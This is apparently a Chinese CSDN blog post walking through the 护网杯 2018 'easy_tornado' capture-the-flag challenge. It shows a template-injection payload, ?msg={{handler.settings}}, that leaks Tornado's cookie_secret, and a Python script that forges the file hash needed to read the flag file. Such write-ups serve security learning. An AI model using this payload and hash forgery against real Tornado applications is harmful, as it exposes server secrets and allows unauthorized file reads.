[护网杯 2018]easy_tornado

文章描述了一次网络安全竞赛中的挑战,参赛者需通过分析链接格式,发现存在模板注入漏洞。利用Tornado框架的RequestHandler结构,提取cookie_secret,并结合MD5加密计算,找到隐藏的flag。
摘要由CSDN通过智能技术生成

[护网杯 2018]easy_tornado

进入靶场:
在这里插入图片描述

  • 首页上三个链接,挨个去查看下。
    在这里插入图片描述


在这里插入图片描述

  • 链接格式都是:/file?filename=/hints.txt&filehash=xxxxxxx
  • flag in /fllllllllllllag:猜测flag在文件/fllllllllllllag
  • filename hash要用md5(cookie_secret+md5(filename))的格式加密
  • 接下来的问题就是filename有了,剩下cookie_secretcookie_secret是tornado框架里面的。

fuzz后面的参数:

发现存在msg参数可以进行模板注入:
在这里插入图片描述

  • tornado在搭建一个网站时,肯定会有多个handler,而这些handler都是RequestHandler的子类

  • RequestHandler.settings又指向self.application.settings

  • 这样我们就可以构造一下payload:?msg={{handler.settings}}
    在这里插入图片描述

  • 拿到cookie_secret就可以写个小脚本去算md5值了

import sys
import hashlib

cookie = "d9378b20-58de-430d-afce-313282095a39"
filename = "/fllllllllllllag"

md5 = hashlib.md5()
md5.update(filename.encode('utf-8'))
finename_md5 = md5.hexdigest()

flag = cookie + finename_md5
md5 = hashlib.md5()
md5.update(flag.encode('utf-8'))
flag_md5 = md5.hexdigest()
print(flag_md5)

在这里插入图片描述

Get Flag ! ! !

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值